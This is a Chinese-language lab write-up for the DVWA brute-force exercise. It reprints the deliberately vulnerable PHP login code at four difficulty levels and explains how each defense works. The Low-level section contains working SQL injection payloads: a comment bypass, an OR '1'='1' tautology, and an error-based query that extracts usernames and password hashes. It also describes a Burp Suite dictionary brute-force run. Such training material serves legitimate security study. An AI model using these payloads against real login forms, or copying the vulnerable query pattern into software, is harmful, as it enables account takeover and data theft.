靶场环境搭建
目录
Brute Force Source 暴力破解
Low Brute Force
核心代码
<?php
if( isset( $_GET[ 'Login' ] ) ) { // 获取用户名 $user = $_GET[ 'username' ];
// 获取密码 $pass = $_GET[ 'password' ]; $pass = md5( $pass );
// 查询数据库验证用户名密码 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) { //登录成功 $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "<p>Welcome to the password protected area { $user}</p>"; echo "<img src=\"{ $avatar}\" />"; } else { // 登录失败 echo "<pre><br />Username and/or password incorrect.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
?> |
使用不安全的get方式获取用户名和密码,且没有对用户输入进行过滤,可以考虑进行sql注入,同时服务器也没有设置放爆破机制
BP爆破
直接爆破,bp走一波
设置变量
添加字典
设置线程50,开始攻击
爆破得到密码password
注入
1、提交get 请求:?username=admin'--+&password=1&Login=Login#
2、使用用户名 admin' or '1'='1
密码可以为空,登录成功
3、使用用户名admin'#
密码为任意,登录成功
4、报错注入
?username=admin'+and+(select+1+from+(select+count(*),concat((select+cast(concat(user,password)+as+char)+FROM+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+&password=111&Login=Login#
Medium Brute Force
核心代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// 获得用户名并过滤 $user = $_GET[ 'username' ]; $user = mysqli_real_escape_string( $user ) ; // 获得密码并过滤 $pass = $_GET[ 'password' ]; $pass = mysqli_real_escape_string($pass); $pass = md5( $pass ); // 查询数据库验证用户名密码 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) { //登录成功 $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "<p>Welcome to the password protected area { $user}</p>"; echo "<img src=\"{ $avatar}\" />"; } else { //登录失败 sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
?> |
中级难度相对于初级难度,增加了msql_real_escape_string 过滤函数,该函数会对[x00,n,r,,’,”,x1a]进行转义,基本上能够抵御sql注入攻击,可能是编码的问题,尝试使用宽字节 %df 绕过失败,虽然加了放爆破机制,sleep(2),讲道理还是可以暴力破解的
High Brute Force
核心代码
<?php
if( isset( $_GET[ 'Login' ] ) ) { // 检测用户的token值 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获得用户名并过滤 $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = mysqli_real_escape_string( $user ) ; // 获得密码并过滤 $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = mysqli_real_escape_string($pass); $pass = md5( $pass );
// 查询数据库验证用户名密码 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) { // 登录成功 $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "<p>Welcome to the password protected area { $user}</p>"; echo "<img src=\"{ $avatar}\" />"; } else { // 登录失败 sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; }
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }
// Generate Anti-CSRF token generateSessionToken();
?> |
高级难度相较于中级的增加了token验证机制,通过bp抓包,可见get 会提交4个参数username,password,login,token
每次服务器返回的页面都会提交一个随机的token值,服务器得到get 请求提交的参数,会先验证token值,具体代码如下:
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
与此同时,还会对用户名和密码,使用stripslashes(去掉字符串中的反斜杠,如果有两个,删除一个)和mysqli_real_escape_string 函数过滤,更进一步防御sql 注入
Impossible Brute Force
核心代码
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { // 检测token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取用户名并过滤 $user = $_POST[ 'username' ]; $user = stripslashes( $user ); $user = mysqli_real_escape_string($user );
// 获取密码并过滤 $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = mysqli_real_escape_string($pass ) ; $pass = md5( $pass );
//设定规则 $total_failed_login = 3; // 登录失败三次 $lockout_time = 15; //锁定时间15 个时间单位 $account_locked = false; //默认账户锁定1
// 检查用户名是否存在 $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch();
// 检测用户是否已经登录失败三次 if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // User locked out. Note, using this method would allow for user enumeration! //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// 登录失败三次,锁定账户15分钟 $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time();
/* print "The last login was: " . date ("h:i:s", $last_login) . "<br />"; print "The timenow is: " . date ("h:i:s", $timenow) . "<br />"; print "The timeout is: " . date ("h:i:s", $timeout) . "<br />"; */
// 检查是否已经过了足够的时间,如果错误次数<3 ,账户未锁定 if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked<br />"; } }
// 验证用户名和密码 $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch();
// 如果登录有效 if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // 登录成功 $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; echo "<p>Welcome to the password protected area <em>{ $user}</em></p>"; echo "<img src=\"{ $avatar}\" />";
// Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; echo "<p>Number of login attempts: <em>{ $failed_login}</em>.<br />Last login attempt was at: <em>${ last_login}</em>.</p>"; }
// 重置登录次数 $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // 登录失败 sleep( rand( 2, 4 ) );
// 随机延时后返回登录失败信息 echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in { $lockout_time} minutes</em>.</pre>";
//更新登录失败次数 $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); }
// 设置最后的登录时间 $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); }
// Generate Anti-CSRF token generateSessionToken();
?> |
|
提交方式由原来的get 变成更为安全的post 方式,并且限制了登录失败次数3次,如果超出限制,锁定账户15分钟,暴力破解是没戏了,在验证机制上设置token,并过滤用户提交参数,防御sql注入,太变态了!!
参考文章: